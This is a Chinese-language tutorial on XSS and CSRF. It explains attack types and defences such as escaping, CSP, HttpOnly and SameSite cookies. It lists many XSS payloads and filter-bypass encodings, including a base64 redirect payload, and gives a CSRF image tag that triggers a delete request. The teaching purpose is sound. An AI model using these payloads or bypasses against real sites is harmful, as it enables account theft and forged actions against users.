XSS 和 CSRF

XSS

XSS (Cross-site scripting) 跨站脚本攻击,首字母缩写本应为 CSS,但因为 CSS 在网页设计领域已经被广泛指层叠样式表(Cascading Style Sheets),所以将意为“交叉”的 Cross 改以交叉形的 X 做为缩写。

XSS 是指攻击者利用网站没有对用户提交数据进行转义或过滤的缺点,在网站上注入恶意脚本,受害者在使用网站时恶意脚本被执行的攻击。注入脚本有 JavaScript、CSS、HTML,注入方法有很多,比如:表单提交、URL 参数、图片上传、外链等。XSS 的危害有盗取帐号、转账…。可搭建 pikachu 靶场实验。

从利用的角度上,XSS 可以分为 3 类:存储型、反射型、DOM 型,另外,如果自己注入的 XSS 脚本,仅能 XSS 到自己,则称为 Self XSS。不管哪种类型的 XSS,XSS 的本质就是让受害者浏览器执行攻击者插入的脚本,本质没有区别。

  • 存储型

存储型 XSS 是指注入的脚本被存储在服务器中持久化的 XSS。在 IM、留言、文章、个人信息…这些场景中最常出现,是危害最大的 XSS。

以 IM 为例,如果服务端在往数据库存入用户聊天数据时没做 XSS 处理,而正好 CSR 或者 SSR 渲染时又直接输出,这时则会出现漏洞。攻击者在聊天框中输入以下 Payload,所有在聊天室的人都将被攻击。

1
<img src=# onerror="alert('xss')">
  • 反射型

反射型 XSS 是指将用户的输入反射给浏览器的一种 XSS。非持久化,与 DOM 型不同的是用户的输入在服务端渲染(字符串),常出现在搜索栏中,攻击者构造好含恶意代码参数的 URL后,欺骗受害者去访问。

以如下搜索栏 SSR 代码为例:

1
2
<input name=keyword value='<%- $keyword %>'>
<div><%- $keyword %></div>

攻击者构造 Payload 为 ' oninput=alert('xss')// 的 URL meiyike.cn?keyword=%27%20oninput=alert(%27xss%27)//,在浏览器上反射为以下形式,然后诱导受害者点击触发。

1
<input name=keyword value='' oninput=alert('xss')//'>
  • DOM 型

DOM 型是通过对 DOM 树的修改而实现的 XSS,其本质上也属于反射型,只不过用户的输入在前端渲染(innerHTMLappendChilddocument.write…),属于前端自身浏览器解析机制的漏洞,没有服务端的参与(存储型与反射型都需要服务器响应参与)。

注:HTML5 规范中指定不执行由 innerHTML 插入的 <script>

Payload 和绕过方式

  • Payload

用以完成各种具体功能的 XSS 脚本,被称为 XSSPayload,常用 XSSPayload 有以下类型。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
// img
<img src=# onerror="alert('xss')">

// details
<details open ontoggle=alert('xss')>

// 表单
<select autofocus onfocus=alert('xss')>
<textarea autofocus onfocus=alert('xss')>
<input autofocus onfocus=alert('xss')>

// iframe
<iframe onload=alert('xss');></iframe>

// 音视频
<video><source onerror=alert('xss')>
<audio src=# onerror=alert('xss')>

// svg
<svg onload=alert('xss')>

// script
<script>alert('xss');</script>

可根据具体的输出点(value 属性中、html 标签中、script 标签中)来构造 Payload,比如在 value 属性中,可提前闭合属性和标签:

1
2
3
<input value="[输出]" type=text>
"><img src=x onerror=alert(1)>
' oninput=alert('xss')//
  • 绕过方式

大多数 XSS 检查器或 WAF 都是利用黑名单或者白名单的形式对 XSS 攻击进行拦截,常见的绕过方式有以下几种。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
编码绕过
Unicode 编码绕过
<img src="x" onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#34;&#120;&#115;&#115;&#34;&#41;&#59;">
URL 编码绕过
<img src="x" onerror="eval(unescape('%61%6c%65%72%74%28%22%78%73%73%22%29%3b'))">
<iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>
Ascii 编码绕过
<img src="x" onerror="eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,59))">
Hex 绕过
<img src=x onerror=eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')>
Base64 绕过
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
<img src="x" onerror="eval(atob('ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly93d3cuYmFpZHUuY29tJw=='))">

绕过空格过滤
<img/src=""/onerror=alert('xss')>

绕过引号过滤
<img src="" onerror=alert(`xss`)>

绕过括号过滤
<img src=x onerror="javascript:window.onerror=alert;throw 1">

绕过关键字过滤
<ImG sRc=x onerRor=alert('xss')>

防范

XSS 需要客户端和服务端来共同防范(DOM 型完全由客户端防范),常用的手段有,转义和过滤、CSP、HttpOnly。

  • 转义和过滤

不要信任用户提交的数据,对用户的输入进行转义(escape)和过滤。各种类型的输出点转义和过滤规则不一样,输出在 HTML 标签之间和属性中(比如 value)时,要考虑 HTML 构造中的尖括号、双引号、”&” 等关键字符,对输出进行 HTML Entity 编码转义,过滤移除用户输入中的 stylescriptiframe 节点等,移除 onerror 等 DOM 属性,输出在 script 标签之间,则要考虑分号、注释、引号等关键字符。

现在前端框架(React、Vue)都具有内置的 XSS 预防功能,标签会被转义输出。

1
2
3
4
const xss = '<img src=# onerror="alert(\'xss\')">';
return (
<div>{xss}</div>
);
1
&lt;img src=# onerror="alert('xss')"&gt;

对一定会渲染 HTML 的位置(富文本)需要使用 XSS 检查器过滤,比如 sanitize-htmljs-xss

1
2
3
4
5
6
7
8
9
10
import sanitize from 'sanitize-html';

const xss = '<img src=# onerror="alert(\'xss\')">';
return (
<div
dangerouslySetInnerHTML={{
__html: sanitize(xss)
}}
></div>
);

在传统的服务端 SSR 中,原理一样。

1
2
<!-- EJS 中使用 <%= 代替 <%- 实现 HTML 的转义 -->
<div><%= $keyword %></div>
  • CSP

内容安全策略 CSP (Content Security Policy) 可在服务端使用 HTTP 的 Content-Security-Policy 头部来指定策略,也可在前端通过 meta 标签设置。前端和服务端设置 CSP 的效果相同,但是 meta 无法使用 report。

1
Content-Security-Policy: default-src 'self'
1
<meta http-equiv="Content-Security-Policy" content="form-action 'self';">

上面的配置只允许加载同域下的资源。

  • HttpOnly

对于以盗取 Cookie 为目的的 XSS,设置 Cookie 的 HttpOnly 属性是一种有效的防范手段。浏览器会禁止页面中的 JavaScript 访问带有 HttpOnly 属性的 Cookie。在 Express 下设置 httpOnly:

1
res.cookie('sessionId', 1, {maxAge: 60 * 1000, httpOnly: true})

对于存储型 XSS,服务端和客户端都需要正确进行过滤输出。

防御的方法,一般认为是正确escape(转义),就是替换尖括号、引号等特殊符号。但是这是不够的,因为这只解决了html的问题。考虑如下:

1
<script>var name = '<?= $name ?>';</script>

CSRF

CSRF (XSRF) 跨站请求伪造, 是一种冒充受信任用户,向服务器发送非预期请求的攻击方式。例如,用户登录网站 A,保留了会话 Cookie,然后用户被某些信息诱导访问危险网站 B,B 上提前构造好参数的 img 标签对 A 的服务端发起跨域 GET 请求,并且携带了 A 的 Cookie ,身份被冒用,请求被执行。

1
<img src="https://www.example.com/index.php?action=delete&id=123">

造成 CSFR 的根本原因是跨域访问时的第三方 Cookie 携带。

XHR、font… 这些 HTTP 请求默认都是同源策略的,但是 imglinkscriptiframe 的 GET 请求允许 cross-origin,另外,CORS 也可用来打破同源策略,一旦设置不当,范围过宽,都会造成 CSRF 漏洞。

防范

  • 验证码

添加验证码来识别是不是用户主动去发起请求,简单可靠,低成本,但对用户交互不友好。

  • HTTP Referer

HTTP 请求头 Referer 字段,记录了请求的来源地址,服务器验证这个来源地址是否合法即可。

  • Samesite Cookie

Cookie 的 Samesite 属性,用来声明 Cookie 是否仅限于第一方或者同一站点上下文。可用来防止 CSRF 攻击和用户追踪。Samesite 有三个属性值,分别是 strictlaxnone

1
res.cookie('sessionId', 1, {samesite: 'lax'})

strict 严格模式,表明 Cookie 在任何情况都不可能作为第三方的 Cookie。此时,在 B 站点下发起对 A 站点的任何请求,A 站点的 Cookie 都不会包含在 Cookie 请求头中。

lax 宽松模式,允许安全 HTTP 方法(GetOPTIONSHEAD)携带 Cookie,但是不安全 HTTP 方法(POSTPUTDELETE)不能携带。Lax 是 Chrome 80 起的默认设置。

none 没有限制,必须同时设置 Secure 属性(Cookie 只能通过 HTTPS 协议发送)。

  • Tooken + 自定义 Header

CSRF 依赖于 Cookie,如果不通过 Cookie 保持会话,则无法利用 CSRF 相关的攻击向量。可将会话保留在浏览器本地存储中,然后通过自定义 HTTP Header(比如 authorization)携带。